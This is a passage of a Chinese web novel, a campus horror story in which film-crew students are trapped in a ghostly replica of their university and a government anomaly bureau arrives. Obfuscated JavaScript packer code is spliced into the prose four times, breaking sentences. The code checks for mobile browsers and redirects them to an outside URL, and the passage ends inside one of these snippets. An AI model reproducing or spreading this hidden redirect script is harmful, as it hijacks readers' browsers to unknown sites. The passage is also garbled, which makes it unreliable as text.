他打了个寒颤:“在这儿拍恐怖片,不会真撞鬼吧?” 秦青不屑:“得了吧,都是编的,等明天我也能写个废弃教学楼惊魂夜,浏览量估计都不过十。” “其实……”姜鹤刚要开口说些什么。 “姜鹤,你怎么来这么晚。”一个高挑漂亮的女生在楼梯上撑着扶手往下看,打断了他们聊天,“呦,三个帅哥也是一起拍戏吗?” “江时学弟是来替小曹的,至于秦青和孙顾学弟,他俩就是来打个酱油。”姜鹤一一介绍,“这是咱们女主角,法学院的顾蕊。” “昂,”顾蕊环视一圈,“都上来吧。” 江时敏锐地察觉到她的目光似乎在自己身上多停留了几秒,不过那目光并不带恶意,他也就没放在心上。 到了今晚拍摄的教室里,江时又见到了其他人。 负责灯光的沈邱学长是金融系的,长相斯文俊秀,像是小说里会出现的校园男神。 男主赵启也是金融系,据说是他们专业系草,但是江时他们三个认为这个称号真实性存疑。 女二叫第五苏苏,名字有些特别,是个清纯甜美的妹子,不过人读的是法医专业,还是他们专业第一名。 化妆师则是女主和女二兼任的。 至于其他的就只剩负责场景和道具的江时,拍摄剪辑等一系列工作都由导演一个人搞定。 据他自己说,要不是拉到顾蕊当金主,压根就没法开机。 江时:“……” 突然担心说好的一天三百能不能到手。 “放心,江学弟,”顾蕊笑着说道,“发工钱的是学姐我,绝对按时到账!” 闻言江时立马笑得灿烂又乖巧:“谢谢学姐,学姐人真好。” 一天三百,学姐真是人美心善。 “哈哈,小学弟真有意思。”第五苏苏笑得眉眼弯弯,“学姐要是真变成女鬼,肯定专门缠你这种帅哥。” 剧情里女主死后变成厉鬼复仇,但扮演女二的第五苏苏今天的装扮长发白裙还化了妆,在周遭昏暗的环境中,看起来反而比顾蕊这个真要演女鬼的更像鬼。 “对了,”正在摆弄灯光的沈邱抬起头,“姜鹤你确定今天道具都是没问题的吧?” “放心,我都检查过的。” 说到这个姜鹤就纳闷,道具他每天都检查,但昨天上午在拍摄时却突然松动,幸好没砸到人,只是小曹修完道具起身没站稳,把手臂摔脱臼了。 几人又聊了几句,江时笑容自然,好像完全没注意到来自男主角赵启的恶意视线。 江家搞出狗血豪门连续剧后,不管认识不认识的,恨他的多了去了,只要不耽误他赚钱就行。 但对方显然不打算成全江时这朴实的愿望。 “啊,不好意思,”开拍后不到半小时,赵启再一次“极其不小心”地踢乱了布景和道具,嚣张地看向还在修之前被他弄坏的道具的江时,“喂,场工,赶紧来收拾,别耽误时间!” 这已经是第三次了,谁都看得出来他是在针对江时。 “你大爷的,找事儿是吧?”孙顾是个暴脾气,顿时忍不了了。 “怎么着,你还想打架?”赵启冷笑一声,“信不信我告你故意伤害?” 江时无奈地叹了口气,起身把气得不轻的孙顾按回去,他一向反对用武力解决问题。 他走到赵启面前,语气有些无奈:“虽然我不知道究竟是哪里得罪了,但赵启学长你应该是听过关于我和江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664962|172964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家的事对吧。” 这货理直气壮:“那又怎么样?” 江时用只有他们能听到的音量幽幽开口:“反正江家已经不肯放过我了,要是赚不到这兼职费,我可就连饭都吃不起了……” “你猜,我会不会一时冲动,干脆就和某些害我走投无路的人同归于尽呢?”江时的语气极其认真,眼神也诚恳真挚,一点都不像是在开玩笑。 赵启下意识后退了半步。 要是真横的,当场就直接和他杠上了,这种耍点儿小聪明刁难人的基本都是色厉内荏的纸老虎,一吓就老实了。 江时扭头笑着地看向其他人,“已经快十二点了,要不我们先拍两位学姐的部分?” 姜鹤也受够赵启没事找事了,当即点头:“顾蕊,你和苏苏先拍吧?” “OK!”顾蕊从讲台上跳了下来,挽着第五苏苏的手,“拍完这场就直接收工?” 第五苏苏笑着举手:“我同意。” 金主发话,姜鹤只能含泪点头:“行,江时,接下来不用其他布景,你收拾完帮沈邱弄下打光?” 江时应了声好。 赵启见没人理会他,咬着牙赌气似的一个人跑外边走廊了。 秦青和孙顾因为赵启作妖,今晚都没有上场的机会,便窝在江时和沈邱旁边说小话。 “我老觉得有点儿凉飕飕的,总觉得在这种死过人的地方拍这种戏有点儿不吉利。”孙顾忧心忡忡道。 秦青翻了个白眼:“得了吧,我大华国哪个犄角旮旯没死过人,按你这么说在哪儿待着都不吉利,你说对吧江时?” “嗯。”江时按照沈邱的叮嘱,正专心致志工作,听到他们叫自己名字就随口应了一声。 “诶,不是这个意思,我就是觉得……”孙顾想了想,还是沮丧地叹了口气,“算了。” 冲突过程姜鹤想弄好几个角度的机位拍摄,灯光也得跟着变。 顾蕊和第五苏苏演技都不错,江时以旁观者的角度看,总觉得她们下一秒就要打起来了。 接下去就是女二掐住女主脖子的戏,第五苏苏面目狰狞双目通红,甚至露出了一抹嗜血又残酷的笑容。 “救……”被她死死压制的顾蕊痛苦挣扎,小腿悬在半空乱踢,反抗的力度从激烈到逐渐变弱,指甲甚至在她的小臂上划出了血痕—— 等等,血痕? “停下!”江时动作最快,翻过课桌直接握住第五苏苏的手腕用力试图拉开。 沈邱紧接着冲上来,试图掰开她掐住顾蕊的十指:“快松开!你想掐死她吗?” “!!!”旁边总算回过神的几人拖的拖,拽的拽,玩命想把她们分开。 江时咬着牙试图掰开第五苏苏的手,却感觉自己像是在掰两根水泥钢筋柱,沈邱额角也是青筋暴起, 几个大男人用尽全力,看似纤细的第五苏苏却纹丝不动。 “去死吧贱人!”第五苏苏神色扭曲,声音尖锐刺耳,昏暗的灯光下宛如不甘索魂的女鬼,“你为什么不去死!” 听到她的声音,江时愣住了。 不对,这不是第五苏苏的声音! 顾蕊挣扎的力度已经变得微弱,江时在扭断第五苏苏的双手救下顾蕊和冒着顾蕊脖子被彻底掐断的风险松开手制服完整的第五苏苏之间犹豫了半秒的功夫,外面走廊里也响起了赵启的惨叫声。 “救命,救命啊!” 教室门被惊慌失措的赵启推开的那一瞬间,在场所有人瞬间被一片漆黑笼罩。 不好! 江时顿时瞳孔骤缩,却还是在漆黑中缓缓失去了意识…… 5. 准备见鬼 “紧急通知,请各位老师同学以及工作人员有序离开校园,重复一遍……” 还穿着睡衣一脸懵逼的人群被穿制服的人带着往学校外走去,宿舍楼内也有人挨个敲门,确保没有遗漏。 与所有人撤离的方向相反,三辆特制的侦查车正在校园内行驶,里面是全副武装的七组成员。 菲菲面色凝重地开口:“上面给了死线,要求我们天亮前必须彻底排查!” 数值波动异常,“白泽”就没法精确定位,必须由他们亲身排查收集数据。但十三组把分局十五辆探测车开走了八辆,还有四辆因为之前出勤受损正在维修。 旁边有组员不解:“组长,我记得之前也出现过好多次‘白泽’检测数据异常的情况,不是最后也没事儿吗,咱们这么大动干戈干什么?” 黎钺神色凝重:“你说的没错,但不是没有例外。” 那次意外中出现的是一个A+级异变,“白泽”无法解析是因为对方正处于即将孵化的虚弱期,最后行动组仅一人生还。 “白泽”数据异常的情况每周都有,意外却仅此一例,调查局不会对异常情况置之不理,但为避免造成不必要的恐慌,并不会将数值异常区域的民众疏散并戒严。 但这次黎钺总有种不祥的预感,干脆直接把报告打到了总局,和那边吵了一天之后,也不知道他是怎么做到的,居然让“白泽”和总局局长直接通过了他的申请。 终于在一小时前,S大开始疏散校内学生…… “老大!”负责仪器的组员尖叫着回身。 黎钺差点聋了:“能不能稳重点儿?” “定位到了异变位置,辐射峰值已经接近A了,但数据还在上涨!” “什么!”他立刻朝负责开车的队友吼,“加速,油门踩到底!!” —— 江时刚恢复意识,旁边就有人打了好几个喷嚏。 “孙顾?”他扭头就看见孙顾浑身湿透正蹲在旁边被风吹得发抖,“你这是怎么了?” “妈呀!”孙顾被吓了一跳,发现是江时后松了口气,沮丧地指了指旁边的池塘,“我刚才一睁眼就在水里了,差点呛死。” 江时这才发现,两人正待在一片草坪上,旁边就是池塘,而且…… 他环顾四周:“这里是不是有点儿眼熟?” 孙顾这才发现:“对哦,这里不是咱学校西边那锦鲤池吗,不过里面的锦鲤没那么多吧,还是我记错了?” 他们平时不怎么路过那儿,记忆并不深刻。 但现在的问题显然不是锦鲤的多少,江时皱眉:“孙顾,你还记得之前发生了什么吗?” 孙顾挠挠头:“我记得第五学姐差点掐死顾学姐,然后外面赵启大喊大叫冲进来……” 之后他就没记忆了,一睁眼差点被淹死。 大概是因为这里和S大一模一样,就连行色匆匆踩点上课和刚下课讨论待会儿去吃东西还是回寝室补觉的学生都太过真实,孙顾这才后知后觉不对。 “我靠!江时,我们怎么会跑到锦鲤池旁边,之前不是晚上吗,怎么一睁眼成白天了?” 他最后的记忆就是冲进教室宛若疯魔的赵启,和一脸狰狞宛如女鬼的第五苏苏。 想起学校论坛上关于旧教学楼的各种恐怖传说,虽然现在看起来是大白天,孙顾还是害怕得差点昏过去,他带着哭腔颤声问:“江时,咱们不会真见鬼了吧?” “有可能。”江时下意识观察四周。 周围学生老师来来往往,神态自然生动,看起来和普通人没两样却莫名让江时联想到那些怪物,想起那些永远都充满饥饿和憎恨的眼神。 孙顾本来挺害怕的,但江时一脸淡定完全没把这诡异的情况当回事,让他也平静不少。可正常人遇到这种诡异的情况,真的能这么冷静吗? 孙顾纳闷:“江时你不害怕吗?” “……”江时安静了半秒。 现在视野内的人类都还具备人形,也没有随时出现异形的怪物扑上来想把他们啃了,这有什么好害怕的? 他眨了眨眼总算反应过来,对于正常人来说这种变故还是很吓人的。 “害怕也没用,”现在假装被吓傻显然已经来不及了,于是江时轻描淡写道,“比起害怕,我觉得我们得先弄清发生了什么事。” 孙顾顿时肃然起敬。 “江时!孙顾!”熟悉的声音自身后响起。 两人回头一看,秦青和沈邱搀扶着顾蕊正朝着他们挥手示意:“这儿!” “第五学姐,姜鹤学长,还有那个赵启呢?” 秦青摇头:“这一路都没找到他们,不知道人在哪儿。” 江时则看向顾蕊的脖颈,上面被掐出了清晰的青紫色淤痕:“顾学姐,你怎么样?” 顾蕊艰难地摇了摇头。 “她现在说不了话,不过没有大碍。”旁边沈邱替她开口,他似乎还想说些什么,“……” 江时在他出声前就礼貌举手:“现在情况不明,我们找个没人的地方再讨论?” 虽然看起来正常,但这里给他的感觉和幸福小区有些相似,总觉得下一秒路上看起来正常的人就会变成怪物扑上来。 这个提议获得了所有人的赞同,最后他们找到了个空教室猫着。 “我们本来想找个人打听情况,但是一路上的人根本没有能理我们的。”秦青害怕得脸色发白,“他们来来往往好像看不见我们一样。” “我一着急,不小心把一个人拽得摔倒了,结果那人突然就面无表情盯着我看了好一会儿,然后就直挺挺地爬起来,又继续说说笑笑走了,可是刚才和他一起的那人早就走远了,他就这么对着空气有说有笑的……” 他们不信邪又尝试了好几次,发现这整个所谓的“S大”,简直像是个制作精良的木偶剧场。 江时食指轻点下巴若有所思,看来他似乎是想错了,这里的“人”应该不是会变成怪物的,只是充当了某个“人”的玩偶而已。 这种情况第一次见,还挺有意思的。 “发现不对劲后我们想打电话,发现没信号就离开学校求救,结果到校门口发现外面全都是灰白色的雾,我试着伸手碰了下……”沈邱拆开左手上的纱布,上面是密密麻麻的细长伤痕,有些还在往外渗血。 孙顾傻眼:“那我们岂不是被困在这里了?” “确实。”江时赞同地点点头。 “完了完了,咱们这是真撞鬼了啊。”孙顾求救地看向他的主心骨,“老江,老秦,咱们不会被鬼给……了吧?” 他害怕得不敢说那个字。 “放心,就算真的有鬼要杀我们……”秦青安慰孙顾,只是语气中带着淡淡的死感,“反正跑不了,安。” 江时本来想说些什么,但在他开口前顾蕊突然用手指敲了敲桌子,吸引了所有人的注意力后,她偏过头看了沈邱一眼。 沈邱立刻替她开口解释:“有一件事,顾蕊希望大家知道。” 江时:“是关于废弃教学楼吗?” 沈邱点点头:“是的,虽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664963|172964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道和目前我们的遭遇有没有关联,但不久之前顾蕊刚查过,那栋教学楼是在十年前因为一周内连续三名学生惨死才会被废弃。” “学姐为什么要查这个?”江时抬眼看向二人。 江时看向他们的眼神明明很正常,但或许是因为他天生比常人浅上不少的瞳色,两人莫名感觉后背寒毛倒竖。 顾蕊压下心底隐约的不适和畏惧,神情严肃看向他,手指在桌子上写了几个字——“叶、杜、死”。 虽然江家不入流,但柳家的故交们还是很关照江时和江瞬的,有时候他俩的消息甚至比江光还灵通。 对于这件事,江时确实有所耳闻:“A市叶家的大少爷叶其海,杜家千金杜清清,都是S大学生,十年前意外去世,他们?” 顾蕊严肃地点点头,这两人也是当年的死者,所以事情发生后相关信息才会被清理得那么干净。 她又写了个“姜”字,用箭头指向刚才那三个字。 其他人还懵逼的时候,沈邱已经看出她的意思。 “姜鹤他想通过拍部电影就把当年的事翻出来?”沈邱觉得有些匪夷所思,姜鹤的做法这已经不是一句想法太简单可以形容的了,“他这简直是胡闹!” “什么?”孙顾和秦青一脸不可思议,他们倒是知道姜鹤的剧本有原型,但他拍电影居然还有这样的内幕吗? 他俩是真啥都不知道,一睁眼就见鬼了。 秦青诧异:“姜鹤学长的电影是当年的真相?” “当然不可能。”江时毫不犹豫道。 当事人都死绝了,真相根本没人清楚,更何况作为剧本肯定会带上编剧主观想法。 女主角被富二代和青梅联手谋杀,最后被女主变成的厉鬼杀死在教学楼。 不说别的,最后女鬼的存在就很不符合华国的价值观。 “顾学姐应该是想阻止他吧?”江时抬眼看向顾蕊,“不管目的是什么,拍的究竟是不是真相,叶家和杜家都不会放过他。” 当年两家花了大力气把事情压下去,要是知道一个大学生胡闹般拍了部电影想把案子再翻出来查,比起费工夫解决这件事,他们大概更愿意直接解决想惹事的人。 顾蕊点点头,好歹姜鹤是帮过她忙的朋友,总不能见死不救。 本来姜鹤钱不够她还庆幸,结果这人居然跑去借高利贷,幸好沈邱把人拦下来,两人怕他做出更极端的事才掺和进来。 当初教学楼甚至还没投入使用就因此弃置,顾蕊和沈邱只是猜测这件事和他们的遭遇有关,但以江时多年到处作死和各种怪物打交道的经验来看,那件命案和他们现在处境有关的概率极大。 “既然大家都没有其他头绪,我们不如就从这里入手?”江时的声音带着笑意,浅色的瞳仁却像是深不见底的漩涡:“顾学姐你知道最早遇害的那位学姐叫什么名字,读什么专业,以及是在什么时候过世的吗?” 有一瞬间顾蕊居然被江时的眼神吓出了冷汗,但下一秒,那张俊秀漂亮得宛如人偶的脸上笑意盈盈,看起来温和无害。 当年的详细信息已经被遗忘抹除得差不多了,她只能通过一些蛛丝马迹和当年知道这件事的师生们的回忆,推测出学姐大概死亡时间—— “晚上十点到凌晨两点之间。” “江时你打算干嘛?”秦青突然有种不太好的预感。 江时露出了一个灿烂又纯粹的笑容,语气轻快而愉悦:“当然是打算去长见识啊。” “见见这里的鬼,究竟长什么样子。” 6. 真·见鬼了 江时他们从教室里出来后一路往旧教学楼走去,路上他也尝试了几次,发现这些“人”确实和沈邱他们说的一样完全不能交流。 天黑下来后,外面来来往往的学生也少了许多,显得整个校园有些空旷。 不知是不是光线的原因,那些在白天还和活人别无二致的学生,在夜色下动作却有些僵硬诡异,每个人的表情看上去都有些阴森。 “我、我靠,这儿不对劲啊……”孙顾环顾四周,害怕地躲在了秦青后面,主要是江时走在最前面,他不敢跟,“怎么感觉天一黑就恐怖起来了呢……” 白天的时候好歹表面看起来和正常校园没区别,但天一黑,这里就秒变了校园恐怖片拍摄现场,就连顾蕊和沈邱脸上都出现难以掩饰的不安。 江时犹豫了几秒,开始思考自己是不是该装出害怕的样子显得合群些。 不过很快江时就放弃了,面对这种从没见过的情况,努力压住嘴角就已经很费劲了,还让他演出害怕的样子就有点儿太为难人了。 “啊!!!”一道凄厉的女性惨叫声划破夜空,周围来来往往的“人”却依然说说笑笑,像是完全没注意到。 “要过去看看吗?”走在最后的沈邱皱眉看向其他人,这种诡异的情景下,谁也不能确定那里是不是要命的危险。 江时眯了眯眼:“我去看看吧,你们可以在外面等着。” 他说完也不给其他人反应的时间,循着声音就追了过去。 “江时你等等!”秦青和孙顾来不及想别的,下意识追了上去。 后面顾蕊和沈邱对视一眼,也跟了上去。 尖叫声传来的地方是学校的体艺馆,他们赶到的时候,一个高大人影正掐着另一个瘦弱的人影的脖子将对方生生举了起来,被举起来的那人则不断挣扎——是赵启和第五苏苏。 沈邱下意识呵斥出声:“赵启!你在干什么!” 两人听到他的声音转过头来,他们才看清此时赵启和第五苏苏的脸,或者说那已经不是他们的脸了。 “赵启”脖颈处有一道皮肉外翻的豁口不断往外淌血,脸皮已经腐烂,一只眼睛像是被人用利器戳瞎,黑红的物质顺着眼眶周围的划痕混着血液流下。 而“第五苏苏”就更加可怖了,半张脸上都是烧焦碳化的痕迹,另外半张脸上腐败的血肉加上被锐器划烂狰狞的伤口甚至看不出这人原本的样貌,甚至头上原本浓密乌亮的头发也秃了大半。 看到江时等人,“赵启”居然警惕地后退了半步,接着一把扔开“第五苏苏”,整个人都像是融化般变成了一滩血肉,不知从哪条地缝钻走了。 还没等他们回过神来,刚才被摔在地上狼狈不已的“第五苏苏”脖颈“咔吧咔吧”地生生拧了一百八十度仰头看向他们。 “咯咯,”失去压制后她瞬间变脸,目光贪婪地扫视五人,发出尖锐刺耳的笑声,“好久没见过活人了,你们好香啊……” 说完,她宛如一只巨大蜘蛛从地面弹起朝他们扑了过来。 “快跑!”沈邱和顾蕊飞快拉住江时他们就想跑。 不过江时冲上去的速度太快他们没拽住,两人抓着秦青和孙顾跑了好几步才反应过来。 “啧。”江时本想直接一脚踹过去,但想起对方用的还是第五苏苏的身体,脚下一转躲开扑过来的怪物。 接着一掌劈在她的小臂上,趁着对方在半空无法调整重心,伸手卡住脖子往下一掼,将她按在了地板上。 比想象中轻松,毕竟现在对方用的是第五苏苏的身体,力量被人类的躯体强度限制了。 江时估算了一下,大概是就连阿毛都能按着她揍的程度。 “第五苏苏”显然也意识到了这一点,她尖叫着咆哮:“放开我!否则我就弄死这个小贱人!” 一边说着,她的半张脸又变回了第五苏苏的样子,那半张脸发出凄厉的惨叫:“好痛,我好痛啊呜呜,求求你们了,救救我啊,好痛,好痛……” 宛如女鬼的怪物露出了熟悉同学痛苦挣扎的半张脸,这恐怖扭曲的一幕显然不是几个才二十出头的大学生能冷静应对的。 几人一时间大脑空白,下意识看向了制住她的江时。 不过还没等他们做出反应,江时面无表情地按着她的脑袋,“咔吧”一下把脑袋转回去:“放开你我们和她一起死,你是当我傻吗?” 真的犯傻的几人:“……” 眼见威胁没用,她面容狰狞地压下了第五苏苏那半张脸咆哮道:“叶其海你别忘了,要是我死了你也别想活!” 话音刚落,刚才钻走不见的“赵启”又从周围地板渗出,散发着血腥和恶臭气味的黏稠血肉汇聚成触手的形态卷起“第五苏苏”就跑。 江时见状眼疾手快地放开对方就地一滚,这才没被拖着一起飞出去。 “江时!”孙顾和秦青赶紧上前扶起摔倒在地的江时,“你怎么样啊?没事吧?” 本想直接追上去的江时被他们拉住,犹豫了两秒放弃了。 他摇了摇头看向“第五苏苏”消失的方向,冷静地开口问:“她刚才是不是叫了叶其海的名字?” 刚才两人都被吓懵了压根没注意怪物说了什么,后面的沈邱肯定地点点头:“我也听到了。” 几人面面相觑,他们都还记得刚才江时说的十年前事件的死者。 孙顾人已经麻了,反正都是撞鬼,而且还不止一个,那撞的到底是谁已经无所谓了,他挤出仅剩的一点求生欲望,希冀地看向江时:“那我们现在该怎么办?” “……”江时想了想,“继续去旧教学楼吧。” “还要去啊?”秦青险些被吓到破音,“那可是!”是鬼啊! 他们甚至不知道刚才那个附身在第五苏苏身上的,是不是就是今晚教学楼里死去的学姐,就算不是那谁知道那位学姐会不会更想杀了他们。 秦青这话一出,其他人也都犹豫起来,虽然现状看起来很绝望,但他们还不想主动找死。 “江时,要不我们还是先观察一下?”沈邱看了眼自己和顾蕊的伤,以及旁边明显派不上用场的孙顾和秦青,“而且姜鹤人还不知道在哪儿,要不先找到他再说吧?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664964|172964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “也可以,你们去找姜鹤吧,我一个去就行。”江时微微眯起眼,“这里的水和食物也不知道能不能吃,要是不赶紧找到离开这里的方法,就算没鬼我们也撑不了多久。” 那两个怪物是在教学楼附身赵启和第五苏苏的,就算不是他们把人拉进来,他们也肯定知道该怎么从这里出去。 沈邱大概猜到他的想法,提出建议:“一个人落单不太好,要不大家一起去吧?” 江时沉默了半秒。 按照之前他撞见黎钺同事的经验,这种实力的怪物闹事还不止一个,那些人没多久就该到了,只是不知道多久能找到他们而已。 而沈邱显然误会了他的意思:“总归我的手还没彻底断,多少能帮上些忙。” 旁边的顾蕊说不了话,但也点点头表示同意。 孙顾和秦青虽然害怕,但一来江时是他们好兄弟,二来两人还是有自知之明的,江时他们不在的话,别说撞鬼了,他们在这鬼地方待着就能把自己吓死,连忙表示也想一起跟上。 他们要是去找姜鹤的时候碰到怪物,基本上没生还可能,救援也不知道能不能及时赶到,江时想了想,还是点头:“好,那我们一起去。” 大不了到时候贿赂小苏一个蝴蝶结帮忙不让他们泄密而已,不算麻烦。 五个人就这样一起进了旧教学楼。 废弃教学楼内。 “我靠,这里好冷啊……”孙顾腿抖得不行。 秦青抖得比他还厉害,声音中带着绝望:“呵、呵呵,也不想想这里是什么地方,你大晚上去墓地,那儿也阴嗖嗖的。” 沈邱和顾蕊都是伤员,于是他们咬着牙表示自己可以断后,但显然还是害怕的。 江时本想宽慰他们两句,但回忆仅有几次安慰其他人的经验和他们的表情,江时还是决定听黎钺和江瞬的建议——除非对象是言扉,否则他不说话比开口安慰的效果好, “到了。”江时抬眼看向不远处,他们当然不知道案发地点,不过大家一致决定去姜鹤选择拍摄的那间,要是不对就再说。 在经过刚才体艺馆的洗礼后,除江时以外的四人对自己即将面对的东西充满恐惧。 江时脚步不停,径直走向教室拉开了门—— 首先映入眼帘的是一双满是尸斑的脚,没有被尸斑覆盖的地方则是泛着死气的青白皮肤。 那道纤细的身影被悬挂在教室正中央的半空,垂在脚踝的红色裙摆正随着微风吹过轻微晃动,裙角被风吹开时,像极了一串木棉花样式的风铃。 “啊——” 身后孙顾和秦青被面前的场景吓出了凄厉的惨叫,沈邱和顾蕊忍也不住面色发白,有些反胃。 江时不仅不害怕,还往前走了两步。 明明那张脸被披散的长发挡得严实,他却确定自己对上了对方的视线。 恰好此时,一缕风吹起了挡住她下半张脸的头发,露出那双青紫色的唇微微张合:帮我一个忙吧。 江时歪了歪脑袋,接着才不紧不慢地点了点头。 好。 7. 你不是人吧 秦青刚恢复意识,就发现自己居然回到了一开始醒来的地方,接着就听到了利器刺穿肉、体的声音。 “噗呲——” 他抬头就看见前面不远处,七八个穿着作战服戴着头盔的人正在砍杀那些诡异的“人”们,鲜血与肢体四处飞溅。 “……”秦青被吓得刚要叫出声来,旁边两只手左右分别抓住了他的胳膊,二话不说拖着他跑。 “还傻站着干什么,赶紧跑啊!”沈邱一边拽着他跑还不忘骂人。 另一边的顾蕊说不了话,但抓着他胳膊的手用力到指甲都差点嵌进肉里,秦青痛得差点哭出来。 “呲——”随着刀刃划过,鲜血染红了身上的作战服。 一道身材娇小的人影敏锐地发现了他们,伸手抹掉护目镜上鲜红粘稠的液体,声音冷峻:“这里还有其他人类!” 这话一出,其他人也都愣住了,但是肌肉记忆还是让他们利落地解决了最近的眷属。 有人傻眼了:“学校那边不是说旧教学楼不让进人吗?” “追责的事出去再说,”那人掀开头盔露出一张文静的脸,但此时她的脸色很不好看,“那几个人被我们吓到逃走了。在领域内乱跑撞到异变必死无疑,现在分头行动,我带人去找他们,剩下的人继续清理领域内的异变眷属!” 只有A级及以上的异变才拥有领域,只要这些异变想,眷属就相当于他们的耳目。 不清理干净的话,他们在领域内一切行动都相当于透明的。不过除非领域受到直接攻击,绝大部分的异变并不时刻和眷属们感官共通,否则他们的大脑会先受不了。而先遣队的任务就是收集领域内情报,并趁异变没有注意到尽可能清理掉眷属。 另一边,沈邱和顾蕊显然目标明确,拖着秦青就往上一次找到江时和孙顾的方向跑。 那群人动手毫不犹豫的样子,鬼知道他们究竟是针对那些怪物还是无差别。 他俩又不是傻的,从他们莫名其妙被困在这个十年前的S大,江时一路上的表现已经够诡异了,徒手压制女鬼也压根不像是普通人类能做到的。 只是江时一路都在保护他们,两人也就配合装瞎,现在后面一群杀神,当然得赶紧找大腿救命。 另一边,江时发现自己回到一开始醒来的地方后,反应比他们就要平静多了。 他顺手把还在水里“咕嘟咕嘟”的孙顾捞了起来,然后淡定地环视四周,发现之前醒来时周围来来往往有说有笑的学生都不见了踪影。 “老江你救我干嘛,让我被淹死了算了。”孙顾一脸心如死灰的绝望,“与其死在那些鬼手里,我还不如给自己个痛快,说不定我死了怨气太大也变成鬼,还能帮你们呢。” 江时沉默几秒后试图安慰他:“你觉得你变成鬼,怨气能比刚才我们碰到的几个更强吗。” 想到之前见到的两个死鬼的尊容,以及被悬挂在教室中央的红衣女尸。 “……你说的对。”孙顾认命地爬起来,跟上了江时,“咱们去哪儿啊?” 江时:“先找到老秦他们再说。” 然后想办法把他们丢到个安全的地方,他自己再找到旧教学楼去。那位被吊在教室里的学姐只说要他帮忙,但是要他帮什么忙还没说呢。 “江时!” 说曹操曹操就到,沈邱和顾蕊拖着秦青远远地就朝他们挥手,结果速度太快停不下来,连着三个人都摔了个脸着地。 江时和孙顾赶紧上前把他们都扶起来。 “怎么了?”江时上下打量他们这一身狼狈的样子,“后面有鬼在追?” “差、差不多。”沈邱咳嗽了几声,喘着粗气道,“后面有群人,在、在……” “他们在追着这里面的人杀。”秦青一脸惊恐,痛哭流涕道,“救命啊,他们不会把我们一起宰了吧。” 看起来那些人留给他的阴影比撞鬼还大。 “那不至于。”江时还没来得及说话,另一道声音自不远处传来。 江时抬起头,看见穿着染血作战服正向他们走过来的几人。 为首的是个身材娇小的年轻女性,她把头盔夹在腋下,看到江时的时候先是一愣,接着微微一笑:“你好,我记得你是叫江时对吧,还记得我吗,我们是黎钺的同事。” 江时点头:“在公园的时候,黎钺说你们在执行任务。” “你们认识?”刚才心脏提到嗓子眼,现在猛然松了口气,秦青险些一口气没喘匀昏过去。 旁边沈邱和孙顾眼疾手快一个掐他人中一个拍背,好险没让人真晕过去。 菲菲熟练地从胸前口袋里掏出证件:“华国异常调查局,执行部下属第七行动组副组长。” “官、官方的吗?”秦青试探地问。 “假一赔十。”菲菲笑着开了个玩笑。 异常调查局? 虽然时不时就会碰见这些人,但江时还是第一次听到这个组织的名字。 江时:“黎钺也是你们调查局的成员吗?” 菲菲点头:“他是我们组长。” 没想到江时居然和对方认识。 想起刚才他们一路手起刀落砍瓜切菜似的场面,又想到一路上江时的诡异表现,沈邱和顾蕊对视一眼,这就合理多了嘛。 沈邱迫不及待举手:“我们还有两个朋友被他们附身带走了,剩下一个现在都不知道在哪里。” “有两个人被附身?”菲菲神色凝重,向他们保证道,“你们放心,我们会全力搜救。” 说完她按住耳边的耳麦下令:“所有人注意,已经找到五名幸存者,现在已知还有一名幸存者下落不明,另外有两人被异变附身,现调整当前任务最高优先级为搜救,完毕。” 耳麦里传来其他人的回答声:“明白!” 这群人看起来就训练有素身上也全副武装,还是官方组织的成员,让担惊受怕了一路的几人下意识生出了安全感。 秦青和孙顾绷了一路,忍不住嗷地一声哭了出来,就连冷静如顾蕊和沈邱都忍不住红了眼眶。 菲菲看向受伤的两人:“顾蕊和沈邱是吗,异变的领域东西不一定能用,你们的伤最好是重新处理一下。” “谢谢你们。”两人连连点头,沈邱更是吓得赶紧拆了手上的纱布。 似乎没有人注意到,他们中间不知什么时候少了个人。 …… “你果然也不是人类,”身后传来的声音像是砂纸摩挲般粗砺刺耳,带着些困惑,“但你和我们也不一样,你究竟是什么?” “嗯。”江时小臂靠着窗沿,目送他们一群人逐渐远离,头也没回,“你不能把自己放下来吗,这样不觉得很诡异?” 一阵风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 